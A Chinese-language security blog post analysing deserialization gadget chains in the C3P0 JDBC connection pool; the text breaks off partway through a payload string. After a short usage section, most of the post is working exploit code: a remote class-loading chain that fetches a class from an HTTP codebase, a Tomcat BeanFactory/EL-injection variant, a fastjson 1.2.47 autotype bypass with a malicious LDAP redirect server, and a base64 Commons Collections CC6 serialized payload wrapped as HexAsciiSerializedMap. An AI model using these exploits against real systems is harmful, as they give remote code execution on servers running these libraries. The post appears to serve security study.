概念

C3P0是一个开源的JDBC连接池,它实现了数据源与JNDI绑定,支持JDBC3规范和JDBC2的标准扩展说明的Connection和Statement池的DataSources对象。

即将用于连接数据库的连接整合在一起形成一个随取随用的数据库连接池。

DataSource

数据源。为了提高系统性能,在真实的Java项目中通常不会使用原生的JDBC的DriverManager去连接数据库,而是使用数据源(java.sql.DataSource)来代替DriverManager管理数据库的连接。

其中C3P0就是一种常见的数据源,它允许应用程序重复使用一个现有的数据库连接,而不是再重新建立一个。他提供了高效管理和复用数据库连接的功能。

环境搭建

  • jdk 8u192
  • com.mchange:c3p0:0.9.5.2
  • com.mchange:mchange-commons-java:0.2.11
1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>mchange-commons-java</artifactId>
<version>0.2.11</version>
</dependency>

使用

通过代码:

1
2
3
4
5
6
7
8
ComboPooledDataSource source = new ComboPooledDataSource();

source.setDriverClass("com.mysql.jdbc.Driver");
source.setJdbcUrl("jdbc:mysql://127.0.0.1:3306/mysql");
source.setUser("root");
source.setPassword("root");

Connection connection = source.getConnection();

通过配置文件:

c3p0-config.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<c3p0-config>
<!-- 默认配置,如果没有指定则使用这个配置 -->
<default-config>
<property name="driverClass">com.mysql.jdbc.Driver</property>
<property name="jdbcUrl">
<![CDATA[jdbc:mysql://127.0.0.1:3306/mysql]]>
</property>
<property name="user">root</property>
<property name="password">root</property>
<!-- 初始化池大小 -->
<property name="initialPoolSize">2</property>
<!-- 最大空闲时间 -->
<property name="maxIdleTime">30</property>
<!-- 最多有多少个连接 -->
<property name="maxPoolSize">10</property>
<!-- 最少几个连接 -->
<property name="minPoolSize">2</property>
<!-- 每次最多可以执行多少个批处理语句 -->
<property name="maxStatements">50</property>
</default-config>
</c3p0-config>

然后直接实例化对象即可:

1
2
3
ComboPooledDataSource source = new ComboPooledDataSource();

Connection connection = source.getConnection();

URLClassLoader远程类加载

原理分析

利用链:

1
2
3
4
5
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

ReferenceIndirector$ReferenceSerialized#getObject

ReferenceableUtils.referenceToObject

漏洞点位于com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject方法:
image-20251215211101601

这里反序列化对象依次读取connectionPoolDataSource和dataSourceName等字段,而如果对象类型为IndirectlySerialized,则会调用getObject方法

下方获取extensions也有同样的操作:

image-20251215211347934

同时可以发现只有ReferenceIndirector类下ReferenceSerialized静态类实现了这个接口,跟进到getObject方法

image-20251215211518825

这里会初始化上下文,并调用lookup方法,发起一次JNDI请求,如果contextName可控,那么这里我们就能够进行JNDI注入

而如何控制变量o为ReferenceSerialized对象呢?

回到PoolBackedDataSourceBase类,定位到它的writeObject方法:
image-20251215211915623

image-20251215212032113

调用了原生writeObject方法,且connectionPoolDataSource是一个ConnectionPoolDataSource对象,但该对象并没有实现Serializable接口:

image-20251215212158508

也就是说,当connectionPoolDataSource不为null时,当触发序列化时,会由于这个对象没有实现Serializable接口,而抛出NotSerializableException异常,走catch代码块。其中调用com.mchange.v2.naming.ReferenceIndirector#indirectForm方法,方法正好返回一个ReferenceSerialized对象:

image-20251215212340092

这里还会将connectionPoolDataSource变量强制转换为Referenceable接口

即当connectionPoolDataSource不为null时,类型为ConnectionPoolDataSource时,获取connectionPoolDataSource变量时,反序列化出来的会是一个ReferenceSerialized对象

所以我们需要准备一个PoolBackedDataSourceBase对象,其存在setter方法所以可以将connectionPoolDataSource修改为ConnectionPoolDataSource对象。而由于强制转换的原因,还需要满足为Referenceable对象,由于反序列化中并没有用到该类,所以我们可以自行实现这个类,Referenceable接口的getReference方法我们可以自己重写,返回一个可控的Reference对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.mchange.v2.c3p0.PooledDataSource;
import javax.sql.PooledConnection;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;

public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}

@Override
public Reference getReference() throws NamingException {
return new Reference("b1uel0n3", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}

但这里由于contextName不可控,所以不能触发JNDI注入

继续跟进ReferenceSerialized#getObject方法:

image-20251215215037819

调用了ReferenceableUtils.referenceToObject方法:

image-20251215215149092

获取工厂地址,实例化URLClassLoader作为类加载器,在调用Class.forName时会加载指定URL所指向的类或资源,最后实例化这个类

exp

evil.java:

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}

javac编译后放到制定路径下即可

还需要注意,不能尝试在较低版本的 Java 运行时环境中运行一个使用更高版本编译的类,这会导致无法加载这个类。其次是实例化时会进行强转,为了避免加载失败,可将恶意代码写进静态代码块中,在Class.forName处触发。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.beans.PropertyVetoException;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class c3p0 {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
poolBackedDataSourceBase.setConnectionPoolDataSource(new PoolSource("evil", "http://127.0.0.1:5432/"));

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(poolBackedDataSourceBase);

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}

public static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;

public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}

@Override
public Reference getReference() throws NamingException {
return new Reference("b1uel0n3", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
}

image-20251215221859011

image-20251215221836810

不出网利用

当目标环境不出网时,URLClassLoader加载类的方式将不能利用

ReferenceableUtils.referenceToObject方法后紧跟调用getObjectInstance方法,可尝试利用本地工厂:

image-20251219215521917

这里我们加载本地类的加载即可,以Tomcat8为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//URLClassLoader远程类加载

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.beans.PropertyVetoException;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class c3p0 {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
poolBackedDataSourceBase.setConnectionPoolDataSource(new PoolSource());

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(poolBackedDataSourceBase);

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}

public static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null);
//声明将 faster 属性映射到 eval() 方法
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
//注入 EL 表达式
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc.exe\")"));
return resourceRef;
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
}

image-20251219221214265

JNDI注入

原理分析

JNDI 注入的这条链子依赖于 jackson 或者 fastjson 的反序列化前置才能进行

调用链:

1
2
3
4
5
6
7
8
9
JndiRefConnectionPoolDataSource#setLoginTime

WrapperConnectionPoolDataSource#setLoginTime

com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTime

com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner

com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference

这里的漏洞开始触发点是由 FastJson 或者 jackson 的 set 方法调用触发的,本质上还是调用 JndiRefConnectionPoolDataSource 下的 setTime 方法,看看其具体内容

漏洞点在于com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference方法:

image-20251216190651799

该方法能触发JNDI请求,需要jndiName可控

image-20251216191049564

而只有inner方法调用了该方法:

image-20251216191124816

需要满足cachedInner为null,接着搜索哪些方法调用了inner方法:

image-20251216191444024

由于这个类没有被public修饰,外部是无法实例化的,所以无法通过CB链来直接调用getter方法

所以需要内部类来调用,而在**com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource**类中实例化了JndiRefForwardingDataSource类:

image-20251216191928659

JndiRefConnectionPoolDataSource类中的方法基本调用了都是WrapperConnectionPoolDataSource对象的方法:

image-20251216192154963

WrapperConnectionPoolDataSource的方法实现:

image-20251216192315589

调用了getNestedDataSource方法:
image-20251216192421501

而前面的**JndiRefConnectionPoolDataSource构造方法调用了wcpds.setNestedDataSource( jrfds );**:

image-20251216192524943

即这里的getNestedDataSource()返回的就是JndiRefForwardingDataSource对象,意思就是JndiRefConnectionPoolDataSource中的getter和setter方法都是调用的JndiRefForwardingDataSource对象的方法,这样就能联系起来了

但这里我们还需要控制jndiName,其来源于getJndiName方法:

image-20251216193105385

但这里JndiRefConnectionPoolDataSource提供了setJndiName方法,所以可以通过这个直接调用JndiRefForwardingDataSource

#setJndiName方法:

image-20251216193235506

而调用JndiRefConnectionPoolDataSource的getter和setter方法只需要利用fastjson或者Jackson环境即可

exp

这里我用的是fastjson1.2.47的版本:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>

我们需要通过 Class 类加载先把JndiRefConnectionPoolDataSource加载缓存 mapping 中绕过 checkautotype 的检测

1
String text = "{\"@type\":\"java.lang.Class\",\"val\":\"JndiRefConnectionPoolDataSource\"}";

然后再实例化一个对象触发漏洞

exp:

1
2
3
4
5
6
7
8
9
10
//JNDI注入
import com.alibaba.fastjson.JSON;
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
public class C3P0_1 {
public static void main(String[] args) throws Exception {
String text = "{\"1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"}, " +
"\"2\":{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\",\"JndiName\":\"ldap://127.0.0.1:9999/evil\", \"LoginTimeout\":\"0\",\"autoCommit\":true}}";
JSON.parseObject(text);
}
}

evil.java:

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}

evil_jndi.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class evil_jndi {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:5432/#evil"}; //恶意对象下载地址
int port = 9999; //LDAP服务端口

//配置LDAP服务器
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

// 添加恶意拦截器
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));

//启动服务
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase; //恶意代码地址

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e); //发送恶意响应
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
// 构造 class 文件实际路径 (将 #evil 转换为 /evil.class)
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "b1uel0n3"); //任意类名
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

// 构建恶意 LDAP 条目
e.addAttribute("javaCodeBase", cbstring); //代码库地址 (http://127.0.0.1:5432/)
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef()); //工厂类名(EvilObject)
result.sendSearchEntry(e); //发送给客户端
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

image-20251216202914780

image-20251216202658966

hex序列化

漏洞原理

这条链子同样需要fastjson作为前置条件

调用链:

1
2
3
4
5
6
7
8
9
10
11
WrapperConnectionPoolDataSource#setUserOverridesAsString

VetoableChangeSupport#fireVetoableChange

WrapperConnectionPoolDataSource#vetoableChange

C3P0ImplUtils#parseUserOverridesAsString

SerializableUtils#fromByteArray

SerializableUtils#deserializeFromByteArray

定位到WrapperConnectionPoolDataSource类的构造方法:
image-20251219204048566

调用了C3P0ImplUtils.parseUserOverridesAsString方法:

image-20251219204207031

image-20251219211920122

如果输入userOverridesAsString 不为空,则会先调用userOverridesAsString.substring方法进行截取然后调用ByteUtils.fromHexAscii( hexAscii );:将十六进制ASCII码转换为字节数组,最后调用fromByteArray方法:

image-20251219204742695

跟进deserializeFromByteArray方法:
image-20251219204907671

他会对转化后的字节数组进行反序列化

所以如果一开始传进去的的this.getUserOverridesAsString() 可控,那么我们就能实现恶意反序列化

image-20251219211152886

而我们发现WrapperConnectionPoolDataSource类存在setter方法:

image-20251219211434911

所以我们可以想到fastjson来构造

exp

这里我们用CC6进行利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

ConstantTransformer Runtime = new ConstantTransformer(Runtime.class);
InvokerTransformer getRuntime=new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invoke=new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]});
InvokerTransformer exec=new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"});
ConstantTransformer l = new ConstantTransformer(1);
Transformer[] transformers=new Transformer[]{Runtime,getRuntime,invoke,exec,l};
ChainedTransformer chain=new ChainedTransformer(faketransformers);

Map innermap=new HashMap();
Map Lazymap=LazyMap.decorate(innermap, chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"111");
Map map=new HashMap();
map.put(tiedMapEntry,"b1uel0n3");
innermap.remove("111");

Field field=chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain,transformers);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
byte[] byteArray = baos.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(byteArray));
}
}
1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADMTExc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABN1cQB+ABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAhiMXVlbDBuM3g=

ByteUtils中提供了字节数组转hex操作:
image-20251219205805666

之后还需要添加上HASM_HEADER和尾部的一个字符,需要注意截取范围:

1
2
3
4
5
String HASM_HEADER = "HexAsciiSerializedMap:";

byte[] exp = Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADMTExc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABN1cQB+ABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAhiMXVlbDBuM3g=");
String hex = ByteUtils.toHexAscii(exp);
String fullhex = HASM_HEADER + hex + ";";

fastjson环境是1.2.47

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;

import java.util.Base64;

//hex序列化
class C3P0_2 {
public static void main(String[] args) throws Exception {
String HASM_HEADER = "HexAsciiSerializedMap:";

byte[] exp = Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADMTExc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABN1cQB+ABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAg